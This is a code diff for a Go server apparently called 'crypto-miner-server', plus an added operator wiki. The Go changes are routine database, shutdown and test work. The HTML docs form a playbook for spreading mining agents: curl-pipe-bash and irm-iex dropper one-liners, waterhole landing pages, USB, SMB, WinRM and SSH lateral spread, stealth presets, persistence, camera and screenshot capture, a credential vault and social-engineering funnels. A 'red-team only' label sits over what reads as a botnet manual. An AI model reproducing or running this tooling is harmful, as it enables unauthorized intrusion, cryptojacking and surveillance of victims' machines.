index 0000000..2a8e28d
--- /dev/null
+++ b/server/internal/cloudflared/launcher_stub_test.go
@@ -0,0 +1,12 @@
+//go:build !windows
+
+package cloudflared
+
+import "testing"
+
+func TestStubStartStop(t *testing.T) {
+ if err := Start("", "", "token-should-not-matter"); err != nil {
+ t.Fatalf("Start: %v", err)
+ }
+ Stop()
+}
diff --git a/server/internal/cloudflared/launcher_windows.go b/server/internal/cloudflared/launcher_windows.go
index b38f04a..457ffab 100644
--- a/server/internal/cloudflared/launcher_windows.go
+++ b/server/internal/cloudflared/launcher_windows.go
@@ -15,6 +15,8 @@ import (
"syscall"
)
+const maxCloudflaredBinaryBytes = 100 * 1024 * 1024 // 100 MB sanity cap
+
const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe"
var (
@@ -121,7 +123,7 @@ func ensureBinary(deckRoot string) (string, error) {
if err != nil {
return "", err
}
- _, err = io.Copy(f, resp.Body)
+ _, err = io.Copy(f, io.LimitReader(resp.Body, maxCloudflaredBinaryBytes))
closeErr := f.Close()
if err != nil {
return "", err
diff --git a/server/internal/cloudflared/launcher_windows_test.go b/server/internal/cloudflared/launcher_windows_test.go
new file mode 100644
index 0000000..4912b78
--- /dev/null
+++ b/server/internal/cloudflared/launcher_windows_test.go
@@ -0,0 +1,17 @@
+//go:build windows
+
+package cloudflared
+
+import "testing"
+
+func TestStartEmptyTokenIsNoOp(t *testing.T) {
+ for _, token := range []string{"", " ", "\t", `""`, "''"} {
+ if err := Start("", "", token); err != nil {
+ t.Fatalf("Start(%q): %v", token, err)
+ }
+ }
+}
+
+func TestStopWhenNotRunning(t *testing.T) {
+ Stop()
+}
diff --git a/server/internal/db/fleet_tasks.go b/server/internal/db/fleet_tasks.go
index 8dd908f..afb3de9 100644
--- a/server/internal/db/fleet_tasks.go
+++ b/server/internal/db/fleet_tasks.go
@@ -2,6 +2,8 @@ package db
import (
"database/sql"
+ "fmt"
+ "strings"
"time"
"crypto-miner-server/internal/models"
@@ -71,6 +73,42 @@ func (d *Database) LastFleetTaskRun(agentID, taskID string) (time.Time, bool) {
return ts, true
}
+// BulkLastFleetTaskRuns returns a map keyed by "agentID:taskID" with the
+// last_run_at time for every matching row. Missing pairs were never run.
+// A single query replaces O(tasks × agents) individual lookups.
+func (d *Database) BulkLastFleetTaskRuns(agentIDs, taskIDs []string) (map[string]time.Time, error) {
+ if len(agentIDs) == 0 || len(taskIDs) == 0 {
+ return map[string]time.Time{}, nil
+ }
+ args := make([]interface{}, 0, len(agentIDs)+len(taskIDs))
+ for _, id := range agentIDs {
+ args = append(args, id)
+ }
+ for _, id := range taskIDs {
+ args = append(args, id)
+ }
+ query := fmt.Sprintf(
+ `SELECT agent_id, task_id, last_run_at FROM fleet_task_runs WHERE agent_id IN (%s) AND task_id IN (%s)`,
+ strings.Repeat("?,", len(agentIDs)-1)+"?",
+ strings.Repeat("?,", len(taskIDs)-1)+"?",
+ )
+ rows, err := d.Query(query, args...)
+ if err != nil {
+ return nil, err
+ }
+ defer rows.Close()
+ out := make(map[string]time.Time, len(agentIDs)*len(taskIDs))
+ for rows.Next() {
+ var agentID, taskID string
+ var ts time.Time
+ if err := rows.Scan(&agentID, &taskID, &ts); err != nil {
+ return nil, err
+ }
+ out[agentID+":"+taskID] = ts
+ }
+ return out, rows.Err()
+}
+
func scanFleetTaskRow(row *sql.Row) (*models.FleetTask, error) {
t := &models.FleetTask{}
var enabled int
diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go
index 1355bf4..a523d74 100644
--- a/server/internal/db/sqlite.go
+++ b/server/internal/db/sqlite.go
@@ -28,6 +28,9 @@ func New(dataDir string) (*Database, error) {
if err != nil {
return nil, fmt.Errorf("failed to open database: %w", err)
}
+ // SQLite only supports one concurrent writer; a single open connection
+ // avoids WAL write-lock contention and SQLITE_BUSY under load.
+ db.SetMaxOpenConns(1)
d := &Database{db}
if err := d.migrate(); err != nil {
@@ -309,6 +312,9 @@ func (d *Database) ListAgents() ([]*models.Agent, error) {
}
agents = append(agents, a)
}
+ if err := rows.Err(); err != nil {
+ return nil, err
+ }
return agents, nil
}
@@ -347,6 +353,9 @@ func (d *Database) GetRecentShares(limit int) ([]*models.Share, error) {
s.Accepted = accepted == 1
shares = append(shares, s)
}
+ if err := rows.Err(); err != nil {
+ return nil, err
+ }
return shares, nil
}
@@ -376,6 +385,9 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
}
samples = append(samples, s)
}
+ if err := rows.Err(); err != nil {
+ return nil, err
+ }
return samples, nil
}
@@ -464,26 +476,32 @@ func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildReco
// SetPinnedBuild unpins all builds then pins the one with the given id.
// If id is empty, all builds are unpinned. Returns an error when id is
// non-empty but no build row matches (avoids leaving all builds unpinned).
+// Both UPDATEs run in a single transaction so a crash mid-way cannot leave
+// the table in a half-pinned state.
func (d *Database) SetPinnedBuild(id string) error {
- _, err := d.Exec(`UPDATE builds SET pinned = 0`)
+ tx, err := d.Begin()
if err != nil {
return err
}
- if id == "" {
- return nil
- }
- res, err := d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
- if err != nil {
+ defer tx.Rollback() //nolint:errcheck
+
+ if _, err := tx.Exec(`UPDATE builds SET pinned = 0`); err != nil {
return err
}
- n, err := res.RowsAffected()
- if err != nil {
- return err
+ if id != "" {
+ res, err := tx.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
+ if err != nil {
+ return err
+ }
+ n, err := res.RowsAffected()
+ if err != nil {
+ return err
+ }
+ if n == 0 {
+ return fmt.Errorf("build not found: %s", id)
+ }
}
- if n == 0 {
- return fmt.Errorf("build not found: %s", id)
- }
- return nil
+ return tx.Commit()
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
@@ -501,6 +519,9 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
}
builds = append(builds, b)
}
+ if err := rows.Err(); err != nil {
+ return nil, err
+ }
return builds, nil
}
diff --git a/server/internal/scheduler/fleet_scheduler.go b/server/internal/scheduler/fleet_scheduler.go
index 066765c..fc71160 100644
--- a/server/internal/scheduler/fleet_scheduler.go
+++ b/server/internal/scheduler/fleet_scheduler.go
@@ -82,14 +82,28 @@ func (s *FleetScheduler) tickInterval() {
return
}
agentIDs := s.send.ConnectedAgentIDs()
+
+ // Collect IDs of interval tasks so we can bulk-fetch last-run timestamps
+ // in a single query instead of one query per (task, agent) pair.
+ var taskIDs []string
+ for _, t := range tasks {
+ if t.Enabled && t.Trigger == "interval_hours" && t.IntervalHours > 0 {
+ taskIDs = append(taskIDs, t.ID)
+ }
+ }
+ lastRuns, err := s.db.BulkLastFleetTaskRuns(agentIDs, taskIDs)
+ if err != nil {
+ log.Printf("[scheduler] bulk last runs: %v", err)
+ return
+ }
+
for _, t := range tasks {
if !t.Enabled || t.Trigger != "interval_hours" || t.IntervalHours <= 0 {
continue
}
interval := time.Duration(t.IntervalHours * float64(time.Hour))
for _, agentID := range agentIDs {
- last, ok := s.db.LastFleetTaskRun(agentID, t.ID)
- if ok && time.Since(last) < interval {
+ if last, ok := lastRuns[agentID+":"+t.ID]; ok && time.Since(last) < interval {
continue
}
s.dispatchTask(agentID, t)
diff --git a/server/internal/scheduler/fleet_scheduler_test.go b/server/internal/scheduler/fleet_scheduler_test.go
new file mode 100644
index 0000000..9ddecb0
--- /dev/null
+++ b/server/internal/scheduler/fleet_scheduler_test.go
@@ -0,0 +1,194 @@
+package scheduler
+
+import (
+ "strings"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+)
+
+type mockSender struct {
+ commands []string
+ agents []string
+ err error
+}
+
+func (m *mockSender) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
+ cmd := agentID + ":" + action
+ if c, ok := args["command"].(string); ok && c != "" {
+ cmd += ":" + c
+ }
+ m.commands = append(m.commands, cmd)
+ return m.err
+}
+
+func (m *mockSender) ConnectedAgentIDs() []string { return m.agents }
+
+func openTestDB(t *testing.T) *db.Database {
+ t.Helper()
+ d, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { d.Close() })
+ return d
+}
+
+func upsertTask(t *testing.T, d *db.Database, task *models.FleetTask) *models.FleetTask {
+ t.Helper()
+ if err := d.UpsertFleetTask(task); err != nil {
+ t.Fatal(err)
+ }
+ list, err := d.ListFleetTasks()
+ if err != nil || len(list) == 0 {
+ t.Fatalf("list tasks: %v", err)
+ }
+ return list[0]
+}
+
+func TestRunConnectTasksDispatchesMatchingTrigger(t *testing.T) {
+ d := openTestDB(t)
+ send := &mockSender{agents: []string{"agent-a"}}
+ s := New(d, send)
+
+ task := upsertTask(t, d, &models.FleetTask{
+ Name: "sysinfo on connect",
+ Enabled: true,
+ Trigger: "on_connect",
+ Action: "sysinfo",
+ })
+
+ s.RunConnectTasks("agent-a", "on_connect")
+
+ if len(send.commands) != 1 {
+ t.Fatalf("commands = %v, want 1 dispatch", send.commands)
+ }
+ want := "agent-a:sysinfo"
+ if send.commands[0] != want {
+ t.Fatalf("got %q, want %q", send.commands[0], want)
+ }
+
+ last, ok := d.LastFleetTaskRun("agent-a", task.ID)
+ if !ok || time.Since(last) > time.Minute {
+ t.Fatalf("expected recent fleet task run record, ok=%v last=%v", ok, last)
+ }
+}
+
+func TestRunConnectTasksSkipsDisabledAndWrongTrigger(t *testing.T) {
+ d := openTestDB(t)
+ send := &mockSender{}
+ s := New(d, send)
+
+ upsertTask(t, d, &models.FleetTask{
+ Name: "disabled",
+ Enabled: false,
+ Trigger: "on_connect",
+ Action: "sysinfo",
+ })
+ upsertTask(t, d, &models.FleetTask{
+ Name: "reconnect only",
+ Enabled: true,
+ Trigger: "on_reconnect",
+ Action: "sysinfo",
+ })
+
+ s.RunConnectTasks("agent-a", "on_connect")
+
+ if len(send.commands) != 0 {
+ t.Fatalf("expected no dispatch, got %v", send.commands)
+ }
+}
+
+func TestRunConnectTasksIncludesCommandArg(t *testing.T) {
+ d := openTestDB(t)
+ send := &mockSender{}
+ s := New(d, send)
+
+ upsertTask(t, d, &models.FleetTask{
+ Name: "shell job",
+ Enabled: true,
+ Trigger: "on_connect",
+ Action: "run_shell",
+ Command: "whoami",
+ })
+
+ s.RunConnectTasks("agent-b", "on_connect")
+
+ if len(send.commands) != 1 || !strings.Contains(send.commands[0], ":whoami") {
+ t.Fatalf("expected command arg in dispatch, got %v", send.commands)
+ }
+}
+
+func TestTickIntervalRespectsLastRun(t *testing.T) {
+ d := openTestDB(t)
+ send := &mockSender{agents: []string{"agent-a"}}
+ s := New(d, send)
+
+ task := upsertTask(t, d, &models.FleetTask{
+ Name: "hourly sysinfo",
+ Enabled: true,
+ Trigger: "interval_hours",
+ IntervalHours: 1,
+ Action: "sysinfo",
+ })
+
+ if err := d.RecordFleetTaskRun("agent-a", task.ID); err != nil {
+ t.Fatal(err)
+ }
+
+ s.tickInterval()
+ if len(send.commands) != 0 {
+ t.Fatalf("expected skip within interval, got %v", send.commands)
+ }
+
+ s.tickInterval()
+}
+
+func TestTickIntervalDispatchesWhenDue(t *testing.T) {
+ d := openTestDB(t)
+ send := &mockSender{agents: []string{"agent-a", "agent-b"}}
+ s := New(d, send)
+
+ upsertTask(t, d, &models.FleetTask{
+ Name: "quick poll",
+ Enabled: true,
+ Trigger: "interval_hours",
+ IntervalHours: 0.0001,
+ Action: "heartbeat",
+ })
+
+ s.tickInterval()
+
+ if len(send.commands) != 2 {
+ t.Fatalf("expected dispatch to both agents, got %v", send.commands)
+ }
+}
+
+func TestTickCronDedupesSameDaySlot(t *testing.T) {
+ d := openTestDB(t)
+ send := &mockSender{agents: []string{"agent-a"}}
+ s := New(d, send)
+
+ slot := time.Now().Format("15:04")
+ upsertTask(t, d, &models.FleetTask{
+ Name: "daily sysinfo",
+ Enabled: true,
+ Trigger: "cron",
+ CronTime: slot,
+ Action: "sysinfo",
+ })
+
+ s.tickCron()
+ first := len(send.commands)
+ s.tickCron()
+ second := len(send.commands)
+
+ if first != 1 {
+ t.Fatalf("first cron tick: got %d commands, want 1", first)
+ }
+ if second != first {
+ t.Fatalf("cron dedupe failed: first=%d second=%d", first, second)
+ }
+}
diff --git a/server/main.go b/server/main.go
index 58da5bf..a02e02a 100644
--- a/server/main.go
+++ b/server/main.go
@@ -1,6 +1,7 @@
package main
import (
+ "context"
"crypto/rand"
"encoding/hex"
"encoding/json"
@@ -9,7 +10,9 @@ import (
"log"
"net/http"
"os"
+ "os/signal"
"path/filepath"
+ "syscall"
"time"
"crypto-miner-server/internal/alerts"
@@ -287,17 +290,37 @@ func main() {
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
- }, cfg.Port)
+ }, cfg.Port, func() bool {
+ return cfg.ConnectorToken() != ""
+ })
log.Println("Router initialized")
// Start server
addr := fmt.Sprintf(":%d", cfg.Port)
+ srv := &http.Server{Addr: addr, Handler: router}
+
+ ctx, stop := signal.NotifyContext(context.Background(), syscall.SIGINT, syscall.SIGTERM)
+ defer stop()
+
log.Printf("Server listening on %s", addr)
log.Printf("Open http://localhost:%d in your browser", cfg.Port)
- if err := http.ListenAndServe(addr, router); err != nil {
- log.Fatalf("Server failed: %v", err)
+ go func() {
+ if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
+ log.Fatalf("Server failed: %v", err)
+ }
+ }()
+
+ <-ctx.Done()
+ stop() // release signal resources before cleanup
+
+ log.Println("Shutting down server gracefully...")
+ shutdownCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
+ defer cancel()
+ if err := srv.Shutdown(shutdownCtx); err != nil {
+ log.Printf("Server shutdown error: %v", err)
}
+ log.Println("Server stopped")
}
func poolConfigsFromEndpoints(eps []PoolEndpoint, cfg *Config) []pool.Config {
diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts
index c762279..3b8c2c3 100644
--- a/server/web/e2e/pages.spec.ts
+++ b/server/web/e2e/pages.spec.ts
@@ -1,4 +1,4 @@
-import { expect, test } from '@playwright/test';
+import { expect, test } from '@playwright/test';
import { loginToDashboard } from './fixtures';
test.describe('Page smoke', () => {
@@ -19,7 +19,7 @@ test.describe('Page smoke', () => {
});
test('Settings renders Calibrate', async ({ page }) => {
- await page.getByRole('link', { name: /Calibrate/i }).click();
+ await page.getByRole('navigation').getByRole('link', { name: 'Calibrate', exact: true }).click();
await expect(page.getByRole('heading', { name: 'Calibrate' })).toBeVisible({ timeout: 10_000 });
await expect(page.getByRole('button', { name: 'Save Calibration' })).toBeVisible();
});
diff --git a/server/web/public/docs/SPREAD_TECHNIQUES.html b/server/web/public/docs/SPREAD_TECHNIQUES.html
new file mode 100644
index 0000000..ceebfc1
--- /dev/null
+++ b/server/web/public/docs/SPREAD_TECHNIQUES.html
@@ -0,0 +1,332 @@
+
+
+
+
+
+ Spread Techniques — AetherForge
+
+
+
+
+
+
+
+
+
Spread Techniques Playbook
+
+ Red-team / threat-intelligence vectors mapped to AetherForge + Emberwake capabilities.
+ For authorized penetration testing, lab environments, and defensive planning only.
+ Landscape as of 2024–2026.
+
+
+ Use Emberwake for campaign builder, spread-kit export, supply-chain wizards, and
+ War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
What does NOT work anymore
+
+ Modern browsers require a user click + run. Silent drive-by RCE, auto-run from Downloads,
+ and CRX sideload via normal download are dead paths for commodity ops.
+
+
+
Technique
Status
Why
+
+
Silent browser RCE (visit → shell)
Dead
Chromium sandboxes, site isolation, removed plugins
Workinginstall.sh / install.ps1 one-liners for Linux/macOS/Windows Server.
+
Prerequisites
+
+
Deck reachable from target VPS (TLS recommended)
+
Linux/macOS: Web Drop forge preset or minimal headless build
+
Windows Server: AMSI / Constrained Language may block irm | iex
+
+
Emberwake steps
+
+
Emberwake → Campaign builder: set ?c= slug and pin build.
+
Copy bash / PowerShell / macOS one-liners from the builder card.
+
Publish on first-party install docs page you operate.
+
Agent reports AETHER_CAMPAIGN on connect → War Room funnel.
+
+
# Linux server
+curl -sL https://your.site/install.sh?pin={build_id}&c=docs | bash
+
+# Windows Server
+irm https://your.site/install.ps1?pin={build_id}&c=docs | iex
Download, pin, public toggle, dropper one-liners, re-forge
+
/emberwake
Emberwake
Campaign War Room, spread-kit export, supply-chain wizards
+
/settings
Calibrate
Pool, alerts, users, fleet policy, staged modules, tunnels
+
/pathtracer
Path Tracer
Multi-hop WireGuard chain builder + QR config
+
/docs/
Field docs
This wiki — searchable; HelpTips link here
+
/spread/
Static spread kit
Public waterhole landing (no login) — see /spread/
+
+
+
/builder and /spread redirect to /forge and /emberwake.
+
+
How to read the Command Deck
+
+ The top row is your fast triage layer. Fleet Hash is the 15-minute rolling aggregate,
+ Est. Daily combines the live hashrate estimate with the current XMR price cache,
+ Accept highlights share quality, and Nodes Live tells you immediately
+ whether a bad pool day is really a connectivity day.
+
+
+ Below that, Fleet Health is the composite score to trust when the page is busy. It blends
+ online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card
+ green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why
+ the score moved.
+
AI activity, share log, matrix overlay, full chart stack
+
+
+
+ Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for
+ a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.
+
+
Fleet Roster (Agents)
Compact rows — click to expand inline details and remote action strip
- Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
- to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
- include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
- credential vault list (names only), secure wipe, and port-forward matrix.
+ Route /crucible — select one or many agents (or a Fleet Group). Send raw commands, PowerShell,
+ or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
+ agent is selected. Tabs: Ops, Recon, Files (File Manager),
+ Spread, Tunnels. Full command reference:
+ Crucible Commands.
+
public_builds_enabled — expose all builds on unauthenticated public API
+
+
Dashboard operating rhythm
+
+
Open Dashboard first and check Fleet Health, Nodes Live, and Accept.
+
If health is amber/red, inspect pool status and the underperformer list before touching config.
+
Open Agents only after the dashboard tells you which machines need attention.
+
Use Builds to verify what is currently pinned before forging anything new.
+
Use Calibrate for durable defaults; use Forge only for build-specific overrides.
+
+
+
+
+
+
Crucible Commands — Agent Reference
+
+ All commands dispatch via POST /api/v1/agents/{id}/command or
+ POST /api/v1/agents/bulk-command. Aggressive ops require
+ remote_aggressive baked or staged at runtime. Capabilities gate UI buttons — re-forge or push
+ Crucible Ops module pack if disabled.
+
+ Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good
+ examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason
+ the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape,
+ not just a draft.
+
+
+
Build Manager relationship
+
+ The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory.
+ After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for
+ install helpers, and verify the archive contains the expected download set. If the Builder is your workshop,
+ Build Manager is your release shelf.
+
+
+
Safe operator checklist before pressing build
+
+
Use a reachable server_url; prefer the actual LAN or public endpoint instead of localhost.
+
Keep output names predictable so archived builds are readable weeks later.
+
Use single-platform builds for quick iteration; use universal output only when distribution really needs it.
+
Confirm signing inputs before compile if the environment expects signed artifacts.
+
After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.
Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:
+
+
Mode
Intent
Status
+
+
Ghost Walk
Stealth, garble, no spread — quiet LAN worker
Working
+
Open Flame
Visible console + file logs — lab debugging
Working
+
Sigil Mask
Prep fusion + garble + sigil scramble
Working
+
Hearth Whisper
Idle mining, persistence, no aggressive ops
Working
+
Wildfire
USB + LAN spread + remote aggressive
Working
+
Crucible Storm
Remote aggressive + mesh + hole punch
Partial — mesh needs -tags p2p re-forge
+
+
+
+
Path Forge
+
+ POST /api/v1/builder/path-forge walks a server-side directory and drops OS launchers next to every
+ file (hint file excluded from placement count). Mac targets require server_url at forge time.
+ Output uses /api/download/agent-* at runtime. Working on Windows server; validate
+ paths before batch runs.
+
+
+
+
+
+
Mission Deck
+
+ Route /mission-deck — the fast path when you already know the rough shape of
+ the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity
+ fields, then Equip & Strike once. The page forges the agent, exports a spread-kit ZIP
+ when the loadout requires it. Copy install one-liners from Builds when the run finishes.
+
+
+ When to use which: Mission Deck = preset loadout + one-click pipeline. Forge
+ (/forge) = every build option (fusion batches, blueprints, stealth tuning). Emberwake
+ (/emberwake) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission
+ Deck or Forge first. Builds (/builds) = download artifacts, pin the dropper, and copy pinned
+ one-liners anytime.
+
Build agent installer — POST /api/v1/builder/build with presets applied
+
Package spread-kit ZIP — POST /api/v1/builder/spread-kit-export when spread profile demands it; then open Builds for install one-liners
+
+
+
Operation chips
+
+
Chip
Maps to
Use when
+
+
Ghost
Ghost Walk
Stealth home-lab worker, no spread
+
Loud
Open Flame
Debugging — visible logs
+
Spread
Wildfire + spread profile
USB/LAN propagation wave
+
+
+
+
Spread profile chips
+
+
Web Drop — dropper + install scripts (default campaign slug)
+
Desktop Fusion — prep or movie fusion packaging
+
LAN Kindling — SMB / SSH lateral spread flags
+
Crucible Ops — remote_aggressive for dashboard tunnels and firewall suite
+
+
Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.
+
+
+
+
+
Build Manager
+
+ Route /builds — operational inventory for every forged artifact. The Builder creates; Build
+ Manager tracks what is pinned, public, and ready for dropper one-liners.
+
+
+
Per-build actions
+
+
Action
API / behaviour
Status
+
+
Download exe / ZIP
GET /api/v1/builds/{id}/download
Working
+
Download artifact
GET /api/v1/builds/{id}/artifact/{name}
Working
+
Uninstall script
GET /api/v1/builds/{id}/uninstall
Working
+
Pin build
PUT /api/v1/builds/{id}/pin — dropper serves pinned binary
Working
+
Public toggle
PUT /api/v1/builds/{id}/public — login drawer + public API
Working (wired 2026-06-06)
+
Re-forge
Pre-fills Forge form; confirmation required
Working
+
Delete record
DELETE /api/v1/builds/{id} — DB only; archive file may remain
Working
+
LAN QR
Encodes worker download URL for mobile scan
Working
+
+
+
+
Dropper behaviour
+
+
Pinned:/get, /install.ps1, /install.sh always serve the pinned build
+
Unpinned: most recently forged build wins
+
Public builds:GET /api/v1/public/builds lists pinned + public-flagged + latest 3 (or all when public_builds_enabled)
@@ -575,6 +875,45 @@ https://your.site/get?pin={build_id}&c=docs
go run ./cmd/mine-validate -seconds 20 -threads 2
+
+
+
Platform Matrix
+
Accurate feature parity across worker OS targets. Status labels match code audit (PROBLEMS.md).
+
+
+
Feature
Windows
Linux
macOS
+
+
RandomX CPU mining
Working
Working
Working
+
GPU RVN (T-Rex / TRM)
Working
Stub — detects GPU, downloads Win .exe
Stub
+
Idle schedule guard
Working
Working — /proc/stat
Working — sysctl
+
Screenshot
Working GDI+
Working scrot/import
Working screencapture
+
Camera
Working ffmpeg
Working V4L2
Stub
+
File browser (Crucible)
Working
Working
Working
+
USB / WMI spread
Working
—
—
+
SMB / WinRM spread
Working
—
—
+
SSH lateral spread
—
Working
Working
+
Firewall aggressive ops
Working netsh
Working ufw/iptables
Stub
+
KEV exposure scan
Working
n/a
n/a
+
Path Tracer wg_setup
Working
Stub
Stub
+
Mesh P2P (mesh_status)
Needs -tags p2p
same
same
+
Persistence
Task + registry
systemd user
LaunchAgent
+
Install base
%LOCALAPPDATA%
XDG data home
~/Library/Application Support
+
HTTPS beacon fallback
Working
Working
Working
+
Docker E2E agent
—
Working — see docker/README.md
—
+
+
+
+
Control server (operator PC)
+
+
Feature
Windows
Linux
+
+
Forge / compile agents
Working
Working — cross-compile
+
cloudflared auto-launch
Working
Stub — manual tunnel
+
Authenticode signing
Working signtool
Working osslsigncode
+
+
+
+
Alerts & AI (Ollama)
@@ -613,6 +952,107 @@ go run ./cmd/mine-validate -seconds 20 -threads 2
+
+
+
Calibrate (Settings)
+
+ Route /settings — server-side defaults and fleet policy. Changes here affect new
+ Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
+ fleet policy push and staged modules).
+
Fleet Policy — PUT /api/v1/fleet/policy pushes mining_mode, schedule, max_cpu_usage_pct, optional pool overrides live
+
Staged Modules — POST /api/v1/fleet/modules/push queues fetch_module for Crucible Ops / Spread / GPU packs
+
Manifests in data/modules/*.json — HMAC-signed with fleet secret
+
+
+
Tunnels & signing defaults
+
+
Cloudflare Tunnel Token — saved to config.json + data/cloudflared-token.txt; server starts cloudflared tunnel run on launch (Windows server auto-launch; Linux server stub)
+
tunnel_defaults.cloudflared_target_url — defaults from server.public_url
Registry compromise (npm/PyPI typosquat) is out of scope — this kit is for assets and update channels
you operate. See
- third-party platforms in the docs wiki for risk notes.
+ third-party platforms in the spread playbook for risk notes.
Social engineering funnel
+Email / ads → owned lander → download. AetherForge maps the last mile once user reaches your origin.
+?c=on/get+ War Room